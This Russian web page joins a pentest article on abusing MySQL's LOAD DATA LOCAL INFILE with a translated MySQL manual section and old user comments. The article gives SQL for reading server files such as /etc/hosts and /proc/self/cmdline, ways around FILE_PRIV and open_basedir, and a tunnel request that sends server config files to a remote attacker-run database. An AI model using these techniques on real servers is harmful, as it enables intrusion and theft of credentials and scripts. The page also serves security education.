Load data local infile примеры. Синтаксис LOAD DATA INFILE

Полезные советы

Описываю довольно частую ситуацию. Во время пентеста получен доступ к phpMyAdmin на удаленном хосте, но добраться через него до файлов не получается. Во всем виноват пресловутый флаг FILE_PRIV=no в настройках демона MySQL. Многие в этой ситуации сдаются и считают, что файлы на хосте таким образом уже не прочитать. Но это не всегда так.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Прелюдия

Когда речь идет о взаимодействии CУБД MySQL с файловой системой, то вспоминают, как правило:

функцию LOAD_FILE, позволяющую читать файлы на сервере;
конструкцию SELECT ... INTO OUTFILE, с помощью которой можно создавать новые файлы.

Соответственно, если получен доступ к phpMyAdmin или любому другому клиенту на удаленной машине, то с большой вероятностью через MySQL можно добраться до файловой системы. Но только при условии, что в настройках демона установлен флаг FILE_PRIV=yes, что бывает далеко не всегда. В этом случае надо вспомнить про другой оператор, куда менее известный, но при этом обладающий довольно мощным функционалом. Я говорю об операторе LOAD DATA INFILE, об особенностях которого и будет рассказано в этой статье.

Взаимодействие PHP и MySQL

PHP - самый распространенный язык для создания веб-приложений, поэтому стоит рассмотреть подробней, каким образом он взаимодействует с базой данных.

В PHP4 клиентские библиотеки MySQL были включены по умолчанию и входили в поставку PHP, поэтому при установке можно было только отказаться от использования MySQL, указав опцию

Without-mysql.

PHP5 поставляется без клиентской библиотеки. На *nix-системах обычно собирают PHP5 с уже установленной на сервере библиотекой libmysqlclient, просто задав опцию

With-mysql=/usr

при сборке. При этом до версии 5.3 для взаимодействия с сервером MySQL используется низкоуровневая библиотека MySQL Client Library (libmysql), интерфейс который не оптимизирован для коммуникации с PHP-приложениями.

Для версии PHP 5.3 и выше был разработан MySQL Native Driver (mysqlnd), причем в недавно появившейся версии PHP 5.4 этот драйвер используется по умолчанию. Хотя встроенный драйвер MySQL написан как расширение PHP, важно понимать, что он не предоставляет программисту PHP нового API. API к базе данных MySQL для программиста предоставляют расширения MySQL, mysqli и PDO_MYSQL. Эти расширения могут использовать возможности встроенного драйвера MySQL для общения с демоном MySQL.

Использование встроенного драйвера MySQL дает некоторые плюсы относительно клиентской библиотеки MySQL: к примеру, не требуется устанавливать MySQL, чтобы собирать PHP или использовать работающие с базой данных скрипты. Более подробную информацию о MySQL Native Driver и его отличиях от libmysql можно найти в документации .

Расширения MySQL, mysqli и PDO_MYSQL могут быть индивидуально сконфигурированы для использования либо libmysql, либо mysqlnd. Например, чтобы настроить расширение MySQL для использования MySQL Client Library, а расширения mysqli для работы с MySQL Native Driver, необходимо указать следующие опции:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

Синтаксис LOAD DATA

Оператор LOAD DATA, как гласит документация, читает строки из файла и загружает их в таблицу на очень высокой скорости. Его можно использовать с ключевым словом LOCAL (доступно в MySQL 3.22.6 и более поздних версиях), которое указывает, откуда будут загружаться данные. Если слово LOCAL отсутствует, то сервер загружает в таблицу указанный файл со своей локальной машины, а не с машины клиента. То есть файл будет читаться не клиентом MySQL, а сервером MySQL. Но для этой операции опять же необходима привилегия FILE (флаг FILE_PRIV=yes). Выполнение оператора в этом случае можно сравнить с использованием функции LOAD_FILE - с той лишь разницей, что данные загружаются в таблицу, а не выводятся. Таким образом использовать LOAD DATA INFILE для чтения файлов имеет смысл только тогда, когда функция LOAD_FILE недоступна, то есть на очень старых версиях MySQL-сервера.

Но если оператор используется в таком виде: LOAD DATA LOCAL INFILE , то есть с использованием слова LOCAL, то файл читается уже клиентской программой (на машине клиента) и отправляется на сервер, где находится база данных. При этом для доступа к файлам привилегия FILE, естественно, не нужна (так как все происходит на машине клиента).

Расширения MySQL/mysqli/PDO_MySQL и оператор LOAD DATA LOCAL

В расширении MySQL возможность использовать LOCAL регулируется PHP_INI_SYSTEM директивой mysql.allow_local_infile. По умолчанию эта директива имеет значение 1, и поэтому нужный нам оператор обычно доступен. Также функция mysql_connect позволяет включать возможность использования LOAD DATA LOCAL, если в пятом аргументе стоит константа 128.

Когда для соединения с базой данных используется расширение PDO_MySQL, то мы также можем включить поддержку LOCAL, используя константу PDO::MYSQL_ATTR_LOCAL_INFILE (integer)

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Но самые большие возможности для работы с оператором LOAD DATA предоставляет расширение mysqli. В этом расширении тоже предусмотрена PHP_INI_SYSTEM директива mysqli.allow_local_infile, регулирующая использование LOCAL.

Если соединение осуществляется посредством mysqli_real_connect, то с помощью mysqli_options мы можем как включить, так и выключить поддержку LOCAL. Более того, в этом расширении доступна функция mysqli_set_local_infile_handler, которая позволяет зарегистрировать callback-функцию для обработки содержимого файлов, читаемых оператором LOAD DATA LOCAL INFILE.

Чтение файлов

Внимательный читатель, наверное, уже догадался, что если у нас есть аккаунт в phpMyAdmin, то мы сможем читать произвольные файлы, не имея привилегию FILE, и даже обходить ограничения open_basedir. Ведь очень часто и клиент (в данном случае phpMyAdmin), и демон MySQL находятся на одной и той же машине. Несмотря на ограничения политики безопасности сервера MySQL, мы можем воспользоваться тем, что для клиента эта политика не действует, и все-таки прочитать файлы из системы, запихнув их в базу данных.

Алгоритм простой. Достаточно выполнить следующие SQL-запросы:

Создаем таблицу, в которую будем записывать содержимое файлов:CREATE TABLE temp(content text);
Отправляем содержимое файла в созданную таблицу:LOAD DATA LOCAL INFILE "/etc/hosts" INTO TABLE temp FIELDS TERMINATED BY "eof" ESCAPED BY "" LINES TERMINATED BY "eof";

Вуаля. Содержимое файла /etc/hosts теперь в таблице temp. Нужно прочитать бинарные файлы? Нет проблем. Если на первом шаге мы создадим такую таблицу:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

то в нее возможно будет загружать и бинарные файлы. Правда, в конец файлов будут добавляться лишние биты, но их можно будет убрать в любом hex-редакторе. Таким образом можно скачать с сервера скрипты, защищенные IonCube/Zend/TrueCrypt/NuSphere, и раскодировать их.

Другой пример, как можно использовать LOAD DATA LOCAL INFILE, - узнать путь до конфига Apache’а. Делается это следующим образом:

Сначала узнаем путь до бинарника, для этого описанным выше способом читаем /proc/self/cmdline.
И далее читаем непосредственно бинарник, где ищем HTTPD_ROOT/SERVER_CONFIG_FILE.

Ясно, что в данной ситуации скрипты phpMyAdmin играют роль клиента для соединения с базой данных. И вместо phpMyAdmin можно использовать любой другой веб-интерфейс для работы с MySQL.

К примеру, можно использовать скрипты для бэкапа и восстановления базы. Еще в 2007 году французский хакер под ником acidroot выложил в паблик эксплойт, основанный на этом замечании и дающий возможность читать файлы из админ-панели phpBB <= 2.0.22.

Туннель удобно. Туннель небезопасно

При установке сложных веб-приложений зачастую требуется прямой доступ в базу, например для начальной настройки и корректировки работы скриптов. Поэтому в некоторых случаях целесообразно установить на сервере простой скрипт - так называемый MySQL Tunnel, позволяющий выполнять запросы к базе данных с помощью удобного клиента вместо тяжеловесного phpMyAdmin.

Туннелей для работы с базой данных довольно много, но все они не очень сильно распространены. Пожалуй, один из самых известных - это Macromedia Dream Weaver Server Scripts. Посмотреть исходники этого скрипта можно .

Основное отличие MySQL Tunnel от phpMyAdmin - это необходимость вводить не только логин и пароль от базы данных, но и хост, с которым нужно соединиться. При этом туннели часто оставляют активными, ну просто на всякий случай, мало ли что еще нужно будет поднастроить. Вроде как воспользоваться ими можно, только если есть аккаунт в базу данных - тогда чего бояться? Короче, создается впечатление, что туннель особой угрозы безопасности веб-серверу не несет. Но на самом деле не все так хорошо, как кажется на первый взгляд.

Рассмотрим следующую ситуацию. Пусть на сервере A есть сайт site.com с установленным туннелем http://site.com/_mmServerScripts/MMHTTPDB.php. Предположим, что на сервере А есть возможность использовать LOAD DATA LOCAL (как обсуждалось выше, это, например, возможно при дефолтных настройках). В этом случае мы можем взять удаленный MySQL-сервер, в базы которого пускают отовсюду и который тоже позволяет использовать LOCAL, и соединиться с этим сервером с помощью туннеля. Данные для коннекта с удаленным MySQL-сервером:

DB Host: xx.xx.xx.xxx DB Name: name_remote_db DB User: our_user DB Pass: our_pass

В данной ситуации сервер A будет играть роль клиента, и поэтому мы можем отправлять файлы с его хоста в удаленную базу или, другими словами, читать файлы. Следующим нехитрым запросом:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php" INTO TABLE tmp_tbl FIELDS TERMINATED BY "__eof__" ESCAPED BY "" LINES TERMINATED BY "__eof__"

На самом деле эта уязвимость более опасна, чем обычное чтение файлов: ведь она позволяет прочитать конфигурационные файлы скриптов, установленных на сервере A. Через этот же туннель можно получить уже прямой доступ к базе, которые управляют этими скриптами. Описанную выше технику по использованию мускульных туннелей можно немного обобщить и применить при эксплуатации unserialize-уязвимостей.

Клиент-сервер

Для того чтобы лучше понять возможности LOAD DATA, необходимо вспомнить, что CУБД MySQL использует традиционную архитектуру клиент-сервер. Работая с MySQL, мы реально работаем с двумя программами:

программа сервера базы данных, расположенная на компьютере, где хранится база данных. Демон mysqld «прослушивает» запросы клиентов, поступающие по сети, и осуществляет доступ к содержимому базы данных, предоставляя информацию, которую запрашивают клиенты. Если mysqld запущен с опцией --local-infile=0, то LOCAL работать не будет;
клиентская программа осуществляет подключение к серверу и передает запросы на сервер. Дистрибутив CУБД MySQL включает в себя несколько клиентских программ: консольный клиент MySQL (наиболее часто используемая), а также mysqldump, mysqladmin, mysqlshow, mysqlimport и так далее. А при необходимости даже можно создать свою клиентскую программу на основе стандартной клиентской библиотеки libmysql, которая поставляется вместе с CУБД MySQL.

Если при использовании стандартного клиента MySQL не удается задействовать оператор LOAD DATA LOCAL, то стоит воспользоваться ключом --local-infile:

Mysql --local-infile sampdb mysql> LOAD DATA LOCAL INFILE "member.txt" INTO TABLE member;

Либо указать в файле /my.cnf опцию для клиента:

Local-infile=1

Важно отметить, что по умолчанию все MySQL-клиенты и библиотеки компилируются с опцией --enable-local-infile для обеспечения совместимости с MySQL 3.23.48 и более старыми версиями, поэтому LOAD DATA LOCAL обычно доступно для стандартных клиентов. Однако команды к MySQL-серверу отсылаются в основном не из консоли, а из скриптов, поэтому в языках для веб-разработки также имеются клиенты для работы с базой данных, которые могут отличаться по функционалу от стандартного клиента MySQL.

Конечно, эта особенность оператора LOAD DATA может быть угрозой безопасности системы, и поэтому начиная с версии MySQL 3.23.49 и MySQL 4.0.2 (4.0.13 для Win) опция LOCAL будет работать только если оба - клиент и сервер - разрешают ее.

Обход ограничений open_basedir

Использование LOAD DATA довольно часто позволяет обходить ограничения open_basedir. Это может оказаться полезным, если, например, мы имеем доступ в директорию одного пользователя на shared-хостинге, но хотим прочитать скрипты из домашнего каталога другого пользователя. Тогда, установив такой скрипт

1)); $e=$pdo->exec("LOAD DATA LOCAL INFILE "./path/to/file" INTO TABLE test FIELDS TERMINATED BY "__eof__" ESCAPED BY "" LINES TERMINATED BY "__eof__""); $pdo = null; ?>

Заключение

Любопытно, что описанная возможность оператора LOAD DATA известна не меньше десяти лет. Упоминание о ней можно, например, найти в тикете [#15408] (Safe Mode / MySQL Vuln 2002-02-06), и потом похожие вопросы неоднократно всплывали на bugs.php.net [#21356] [#23779] [#28632] [#31261] [#31711]. На что разработчики отвечали дословно следующее:

[email protected] It’s not a bug, it’s a feature:)

Или присваивали тикету "Status:Wont fix". Или ограничивались патчами, которые почти ничего не решали. Тикеты на эту тему возникали вновь. Поэтому указанный способ обхода open_basedir и до сих пор работает на довольно большом количестве серверов. Впрочем, с появлением нового драйвера mysqlnd, похоже, было принято решение внести существенные изменения: при дефолтных установках этот оператор теперь вообще не будет выполняться [#54158] [#55737]. Будем надеяться, что в ближайшем будущем разработчики наведут порядок в этом вопросе.

LOAD DATA INFILE "file_name.txt" INTO TABLE tbl_name [ ENCLOSED BY ""] ] [(col_name,...)]

Команда LOAD DATA INFILE читает строки из текстового файла и вставляет их в таблицу с очень высокой скоростью. Если задано ключевое слово LOCAL , то файл читается с клиентского хоста. Если же LOCAL не указывается, то файл должен находиться на сервере. (Опция LOCAL доступна в версии MySQL 3.22.6 и более поздних.)

Если текстовые файлы, которые нужно прочитать, находятся на сервере, то из соображений безопасности эти файлы должны либо размещаться в директории базы данных, либо быть доступными для чтения всем пользователям. Кроме того, для применения команды LOAD DATA INFILE к серверным файлам необходимо обладать привилегиями FILE для серверного хоста. See section 4.2.7 Привилегии, предоставляемые MySQL .

В версиях MySQL 3.23.49 и MySQL 4.0.2 команда LOCAL не будет работать в случаях, если демон mysqld запущен с параметром --local-infile=0 или если для клиента не включена возможность поддержки LOCAL . See section 4.2.4 Вопросы безопасности, относящиеся к команде LOAD DATA LOCAL .

Если указывается ключевое слово LOW_PRIORITY , то выполнение данной команды LOAD DATA будет задержано до тех пор, пока другие клиенты не завершат чтение этой таблицы.

Если указывается ключевое слово CONCURRENT при работе с таблицами MyISAM , то другие потоки могут извлекать данные из таблицы во время выполнения команды LOAD DATA . Использование этой возможности, конечно, будет немного влиять на производительность выполнения LOAD DATA , даже если никакой другой поток не использует данную таблицу в это же время.

При применении опции LOCAL выполнение может происходить несколько медленнее в сравнении с предоставлением серверу доступа к файлам напрямую, поскольку содержимое файла должно переместиться с клиентского хоста на сервер. С другой стороны, в этом случае нет необходимости в привилегиях FILE для загрузки локальных файлов.

При использовании версий MySQL до 3.23.24 при помощи команды LOAD DATA INFILE нельзя выполнять чтение из FIFO . Если необходимо читать из FIFO (например, стандартный вывод gunzip), следует использовать LOAD DATA LOCAL INFILE .

Можно также загружать файлы данных, используя утилиту mysqlimport . Эта утилита выполняет загрузку файлов путем посылки на сервер команд LOAD DATA INFILE . Опция --local заставляет mysqlimport читать файлы данных с клиентского хоста. Можно указать параметр --compress , чтобы получить лучшую производительность при работе через медленные сети, если и клиент, и сервер поддерживают протокол сжатия данных.

В случаях, когда файлы находятся на сервере, последний действует по следующим правилам:

Если задан абсолютный (полный) путь к файлу, то сервер использует этот путь без изменений.
Если задан относительный путь к файлу с указанием одного или более начальных каталогов, то поиск файла будет осуществляться относительно указанных каталогов в каталоге данных сервера (datadir).
Если дается путь к файлу без указания начальных каталогов, то сервер ищет этот файл в директории используемой базы данных.

Отсюда следует, что файл, заданный как `./myfile.txt" , читается из серверного каталога данных, в то время как файл, заданный как `myfile.txt" , читается из каталога используемой базы данных. Например, следующая команда LOAD DATA читает файл data.txt в каталоге базы данных для db1 , поскольку db1 является текущей базой данных, даже если эта команда явно содержит указание загрузить файл в таблицу базы данных db2:

Mysql> USE db1; mysql> LOAD DATA INFILE "data.txt" INTO TABLE db2.my_table;

Ключевые слова REPLACE и IGNORE управляют обработкой входных записей, которые дублируют существующие записи с теми же величинами уникальных ключей. Если указать REPLACE , то новые строки заменят существующие с таким же уникальным ключом. Если указать IGNORE , то входные строки, имеющие тот же уникальный ключ, что и существующие, будут пропускаться. Если не указан ни один из параметров, то при обнаружении дублирующегося значения ключа возникает ошибка и оставшаяся часть текстового файла игнорируется.

Если данные загружаются из локального файла с использованием ключевого слова LOCAL , то сервер не сможет прервать передачу данных посреди этой операции, поэтому по умолчанию выполнение команды происходит так же, как и в случае, когда указывается IGNORE .

При использовании LOAD DATA INFILE на пустых таблицах MyISAM все неуникальные индексы создаются в отдельном пакете (как в REPAIR). Обычно это значительно ускоряет работу LOAD DATA INFILE в случае большого количества индексов.

Команда LOAD DATA INFILE является дополнительной к SELECT ... INTO OUTFILE . See section 6.4.1 Синтаксис оператора SELECT . Чтобы записать данные из базы данных в файл, используется SELECT ... INTO OUTFILE . Чтобы прочитать данные обратно в базу данных, используется LOAD DATA INFILE . Синтаксис FIELDS и LINES одинаков в обеих командах. Обе части являются необязательными, но если указаны оба, то FIELDS должно предшествовать LINES .

Если указывается FIELDS , то каждое из его подвыражений (TERMINATED BY , ENCLOSED BY , и ESCAPED BY) также является необязательным, однако необходимо указать по меньшей мере одно из них.

Если утверждение FIELDS не определено, то по умолчанию его параметры будут принимать следующие значения:

FIELDS TERMINATED BY "\t" ENCLOSED BY "" ESCAPED BY "\\"

Если утверждение LINES не определено, то по умолчанию оно имеет следующую структуру:

LINES TERMINATED BY "\n"

Иными словами, при установках по умолчанию команда LOAD DATA INFILE при чтении входных данных будет работать следующим образом:

Искать концы строк в виде символов `\n"
Разбивать строки на поля по символам табуляции.
Не ожидать, что поля могут быть заключены в символы цитирования.
Интерпретировать встречающиеся символы табуляции, новой строки или `\" , предваренные `\" , как литералы, являющиеся частью значения поля.

И, наоборот, если действуют установки по умолчанию при записи выходных данных, команда SELECT ... INTO OUTFILE будет работать следующим образом:

Вставлять символы табуляции между полями.
Не заключать поля в символы цитирования. Использовать символы `\" для экранирования экземпляров символов табуляции, новой строки или `\" , которые появляются среди величин поля.
Вставлять символы новой строки в конце каждой записи.

Следует учитывать, что в записи FIELDS ESCAPED BY `\" необходимо указывать два обратных слеша для величины, которая должна читаться как один обратный слеш.

Опцию IGNORE number LINES можно применять для игнорирования заголовка имен столбцов в начале файла:

Mysql> LOAD DATA INFILE "/tmp/file_name" INTO TABLE test IGNORE 1 LINES;

При использовании SELECT ... INTO OUTFILE совместно с LOAD DATA INFILE для того, чтобы данные из базы данных прочитать в файл, а затем - обратно из файла в базу данных, опции, обрабатывающие поля и строки, для обеих команд должны совпадать. В противном случае LOAD DATA INFILE не сможет интерпретировать содержимое данного файла правильно. Предположим, что команда SELECT ... INTO OUTFILE используется для записи в файл с полями, разделенными запятыми:

Mysql> SELECT * INTO OUTFILE "data.txt" FIELDS TERMINATED BY "," FROM ...;

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 FIELDS TERMINATED BY ",";

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 FIELDS TERMINATED BY "\t";

Похожий результат получился бы, если бы каждая входная строка интерпретировалась как отдельное поле.

Команду LOAD DATA INFILE можно также использовать для чтения файлов, полученных из внешних источников. Например, поля в файле формата базе данных dBASE будут разделены запятыми и заключены в двойные кавычки. Если строки в данном файле заканчиваются символами новой строки, то для записи файла можно использовать приведенную ниже команду, в которой проиллюстрировано задание опций, обрабатывающих поля и строки:

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE tbl_name FIELDS TERMINATED BY "," ENCLOSED BY """ LINES TERMINATED BY "\n";

Любая из опций, обрабатывающих поля и строки, может задавать пустую строку (""). Если строка не пустая, то величины опций FIELDS ENCLOSED BY и FIELDS ESCAPED BY должны содержать один символ. Величины опций FIELDS TERMINATED BY и LINES TERMINATED BY могут содержать более чем один символ. Например, чтобы записать строки, заканчивающиеся парами ``возврат каретки - перевод строки"" (как в текстовых файлах MS DOS или Windows), необходимо задать следующее выражение: LINES TERMINATED BY "\r\n" .

CREATE TABLE jokes (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, joke TEXT NOT NULL); LOAD DATA INFILE "/tmp/jokes.txt" INTO TABLE jokes FIELDS TERMINATED BY ""; LINES TERMINATED BY "\n%%\n" (joke);

Опция FIELDS ENCLOSED BY служит для управления полями, заключенными в заданные символы. Если параметр OPTIONALLY опущен, то в выводе (SELECT ... INTO OUTFILE) все поля будут заключены в символы, заданные в ENCLOSED BY . Пример такого вывода (в котором в качестве разделителя полей используется запятая) показан ниже:

"1","a string","100.20" "2","a string containing a , comma","102.20" "3","a string containing a \" quote","102.20" "4","a string containing a \", quote and comma","102.20"

Если указан параметр OPTIONALLY , то заданным в ENCLOSED BY символом выделяются только поля типа CHAR и VARCHAR:

1,"a string",100.20 2,"a string containing a , comma",102.20 3,"a string containing a \" quote",102.20 4,"a string containing a \", quote and comma",102.20

Следует учитывать, что появление символов ENCLOSED BY внутри величины поля экранируется применением перед ними префикса из ESCAPED BY . Также следует учитывать, что если в ESCAPED BY указана пустая величина, то существует возможность создать вывод, который оператор LOAD DATA INFILE не сможет правильно прочитать. Например, если символ экранирования является пустой строкой, то вывод, представленный выше, окажется таким, как показано ниже. Обратите внимание: второе поле в четвертой строке содержит запятую, следующую за кавычкой, которая (ошибочно) появляется, чтобы ограничить данное поле:

1,"a string",100.20 2,"a string containing a , comma",102.20 3,"a string containing a " quote",102.20 4,"a string containing a ", quote and comma",102.20

Для ввода символ ENCLOSED BY , если он есть, удаляется из обоих концов величин полей. (Это справедливо независимо от того, указан или нет параметр OPTIONALLY: при работе с входными данными параметр OPTIONALLY не учитывается.) Если встречается символ ENCLOSED BY , которому предшествует символ ESCAPED BY , то он интерпретируется как часть текущей величины поля. Кроме того, двойные символы ENCLOSED BY , встречающиеся внутри поля, интерпретируются как одиночные символы ENCLOSED BY , если данное поле само начинается с этого символа. Например, если указывается ENCLOSED BY """ , то кавычки обрабатываются, как показано ниже:

"The ""BIG"" boss" -> The "BIG" boss The "BIG" boss -> The "BIG" boss The ""BIG"" boss -> The ""BIG"" boss

Опция FIELDS ESCAPED BY служит для управления записью или чтением специальных символов. Если символ FIELDS ESCAPED BY не пустой, он используется в качестве префикса для следующих символов в выводе:

Символ FIELDS ESCAPED BY
Символ FIELDS ENCLOSED BY
Первый символ величин FIELDS TERMINATED BY и LINES TERMINATED BY
Символ ASCII 0 (в действительности после экранирующего символа пишется ASCII `0" , а не байт с нулевой величиной)

Если символ FIELDS ESCAPED BY пустой, то никакие символы не экранируются. На самом деле указывать пустой экранирующий символ нет смысла, особенно если величины полей в обрабатываемых данных содержат какие-либо из символов, указанных в приведенном выше списке.

Если символ FIELDS ESCAPED BY не пуст, то в случае входных данных вхождения такого символа удаляются и следующий за таким вхождением символ принимается буквально как часть величины поля. Исключениями являются экранированные `0" или `N" (например, \0 или \N , если экранирующим символом является `\"). Эти последовательности интерпретируются как ASCII 0 (байт с нулевой величиной) и NULL . См. ниже правила обработки величины NULL .

Чтобы получить более полную информацию о синтаксисе экранирующего символа `\" см. раздел section 6.1.1 Литералы: представление строк и чисел .

В ряде случаев опции обработки полей и строк взаимодействуют:

Если LINES TERMINATED BY является пустой строкой и FIELDS TERMINATED BY является не пустой строкой, то строки также заканчиваются символами FIELDS TERMINATED BY .
Если обе величины FIELDS TERMINATED BY и FIELDS ENCLOSED BY являются пустыми (""), то применяется формат с фиксированной строкой (без разделителей). В формате с фиксированной строкой не предусмотрены никакие разделители между полями. Вместо этого при чтении и записи величин столбцов используется ширина ``вывода"" столбцов. Например, если столбец объявлен как INT(7) , значения для этого столбца записываются с использованием полей шириной 7 символов. Входные значения для этого столбца получаются чтением 7 символов. Формат с фиксированной строкой влияет также на обработку величин NULL (см. ниже). Отметим, что формат с фиксированными размерами не будет работать при использовании мультибайтного набора символов.

Значения NULL в зависимости от используемых опций FIELDS и LINES будут обрабатываться по-разному:

Для установленных по умолчанию величин FIELDS и LINES NULL записывается как \N для вывода и \N читается как NULL для ввода (исходя из предположения, что символ ESCAPED BY равен `\").
Если FIELDS ENCLOSED BY не является пустым, то поле, значение которого представляет собой слово из букв NULL , читается как величина NULL (в отличие от слова NULL , заключенного между символами FIELDS ENCLOSED BY , которое читается как строка " NULL ").
Если FIELDS ESCAPED BY является пустым, NULL записывается как слово NULL .
В формате с фиксированной строкой (который имеет место, если оба спецификатора - FIELDS TERMINATED BY и FIELDS ENCLOSED BY - являются пустыми), NULL записывается как пустая строка. Отметим, что вследствие этого величина NULL и пустая строка в данной таблице будут неразличимы при записи в файл, поскольку они обе записываются как пустые строки. Если необходимо, чтобы эти величины были различными при обратном чтении файла, то не следует использовать формат с фиксированной строкой.

Некоторые случаи, не поддерживаемые оператором LOAD DATA INFILE:

Строки с фиксированным размером (обе опции FIELDS TERMINATED BY и FIELDS ENCLOSED BY пустые) и столбцы типа BLOB или TEXT .
Если указывается разделитель, совпадающий с другим или являющийся префиксом другого, то LOAD DATA INFILE не сможет интерпретировать ввод правильно. Например, следующее утверждение FIELDS вызовет проблемы: FIELDS TERMINATED BY """ ENCLOSED BY """
Если опция FIELDS ESCAPED BY пустая, то содержащееся в значении поля вхождение символа FIELDS ENCLOSED BY или LINES TERMINATED BY , за которым следует символ FIELDS TERMINATED BY , приведет к преждевременному завершению чтения поля или строки командой LOAD DATA INFILE . Это происходит вследствие того, что LOAD DATA INFILE не может правильно определить, где заканчивается поле или строка.

Следующий пример загружает все столбцы таблицы persondata:

Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata;

Список полей не указывается, следовательно, команда LOAD DATA INFILE ожидает входные строки для заполнения каждого столбца таблицы. При этом используются значения FIELDS и LINES по умолчанию.

Если требуется загрузить только некоторые из столбцов таблицы, необходимо задать список столбцов:

Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata (col1,col2,...);

Список полей необходимо задавать и в случаях, если порядок следования полей во входном файле отличается от порядка столбцов в данной таблице. В противном случае MySQL не сможет установить соответствие вводимых полей и столбцов таблицы.

Если строка имеет слишком мало полей, то столбцы, для которых отсутствуют поля во входном файле, устанавливаются в свои значения по умолчанию. Назначение величин по умолчанию описывается в разделе section 6.5.3 Синтаксис оператора CREATE TABLE .

Значение пустого поля интерпретируется иначе, чем отсутствие значения:

Для строковых типов столбец устанавливается в пустую строку.
Для числовых типов столбец устанавливается в 0 .
Для типов даты и времени столбец устанавливается в соответствующее этому типу значение ``ноль"". See section 6.2.2 Типы данных даты и времени .

Отметим, что это те же самые величины, которые окажутся в столбце в результате явного назначения пустой строки столбцам строкового, числового типов, либо типов даты или времени в команде INSERT или UPDATE .

Столбцы типа TIMESTAMP устанавливаются только в текущую дату или время в случаях, если для столбца назначено значение NULL или (только для первого столбца TIMESTAMP) если столбец TIMESTAMP находится вне списка полей, если такой список задан.

Если входная строка имеет слишком много полей, то лишние поля игнорируются и количество предупреждений увеличится.

Команда LOAD DATA INFILE интерпретирует все входные данные как строки, поэтому нельзя указывать числовые величины для столбцов ENUM или SET так же, как для команд INSERT . Все величины ENUM и SET должны быть заданы как строки!

При использовании C API можно получить информацию о запросе, вызвав функцию API mysql_info() по окончании запроса LOAD DATA INFILE . Ниже показан формат строки информации для этого случая:

Records: 1 Deleted: 0 Skipped: 0 Warnings: 0

Предостережения выдаются при тех же обстоятельствах, что и при записи величин командой INSERT (see section 6.4.3 Синтаксис оператора INSERT), за исключением того, что команда LOAD DATA INFILE дополнительно генерирует предупреждения, когда во входной строке слишком мало или слишком много полей. Предостережения нигде не хранятся; количество предупреждений может использоваться только для того, чтобы проверить, нормально ли выполнились указанные действия. Если необходимо точно знать причины предупреждений, то следует выполнить команду SELECT ... INTO OUTFILE в другой файл и сравнить результат с первоначальным входным файлом - это единственный способ получить такую информацию.

Если необходимо выполнить LOAD DATA для чтения из канала, можно применить следующий трюк:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LOAD DATA INFILE "x" INTO TABLE x" x

При использовании версии MySQL старше, чем 3.23.25, вышеприведенное можно сделать только с LOAD DATA LOCAL INFILE .

Чтобы получить более подробную информацию об эффективности INSERT в сравнении с LOAD DATA INFILE и увеличении скорости LOAD DATA INFILE , см. раздел section 5.2.9 Скорость выполнения запросов INSERT .

User Comments

Posted by Jason Titus

[Delete ] [Edit ]

"The warnings are not stored anywhere; the number of warnings can only be used as an
indication if everything went well"

You have got to be kidding me. Is this done as some sort of DBA punishment? i.e. - We
KNOW what the problems were, but you"ll just have to build a output file and look through
your millions of records to find them". Didn"t MySQL used to put these in the errorlog,
where they belong? Go ahead and make it an option, but this is enough trouble to make
me switch back to Oracle (and that takes alot).

Posted by campbell on Friday May 17 2002, @6:24am

[Delete ] [Edit ]

Second that. (!) I don"t understand how you
write that sentance with a straight face.

Posted by Jonathon Padfield on Friday May 17 2002, @6:24am

[Delete ] [Edit ]

Also, no information about which rows are skipped
is given.

Posted by on Friday May 17 2002, @6:24am

[Delete ] [Edit ]

This feature is very usefull when submitting an
INSERT from a web page. If the user hits
refresh, and reposts form data that results in a
subsequent INSERT of the same primary key data,
boom, the app breaks. This way, the user could
hit F5 till their face turns blue, and they
won"t break the REPLACE statement.

[Delete ] [Edit ]

I have a MyDB folder in c:\mysql\data
I place there Data.txt and when I execute
LOAD DATA LOCAL INFILE "Data.txt" INTO TABLE
MyTable it says: Command has successfully executed
but NO values are adde to MyTable.
I am under W2K

Posted by van hoof philip on Friday May 17 2002, @6:24am

[Delete ] [Edit ]

I want to syncronize my database with another
database from time to times. This means that I
will have to use the REPLACE thing. But what about
records that don"t excist anylonger in the newer
database. Will they be deleted in the MySQL one ?
Is there a way to auto-delete these ? Or is the
only solution to drop my MySQL table and recreate
before I start LOAD"ing it. I am using crontab
scripts for this operation so no human interaction
is possible during these operations.

Posted by on Friday May 17 2002, @6:24am

[Delete ] [Edit ]

The documentation is unclear about what
constitutes a "unique" key/index in this area. It
backreferences to "insert", but insert doesn"t
have such a constraint. I"ve found that primary
keys are sufficiently unique, but I"ve had to add
primaries where I didn"t want them. Perhaps I"m
missing something....

Posted by on Friday May 17 2002, @6:24am

[Delete ] [Edit ]

It is very frustrating to get warnings when one is
importing data into a MySQL database and not be
able to access any information about the warnings.
MySQL really needs to add a feature that will
report what a warning is ABOUT rather than just
report a warning. Ideally the information about
the warning should be provided immediately. At
the very least some sort of error-log should be
created that a user can access.

Posted by on Friday May 17 2002, @6:24am

[Delete ] [Edit ]

On the "F5 till their face turns blue" subject...

This should be handled in the application. It
certainly doesn"t hurt to tell the user, "You"ve
already entered this. Please stop refreshing."

Actually, due to the number of hyperimpatient end
lusers out there, this seems like a particularly
good idea.

Posted by Larry Irwin on Tuesday August 20 2002, @11:50am

[Delete ] [Edit ]

It would be very helpful to have an addtional option
to "IGNORE CONSTRAINTS" during the loading
process.

Posted by on Thursday September 5 2002, @1:34am

[Delete ] [Edit ]

There is a catch with "on an empty MyISAM table, all
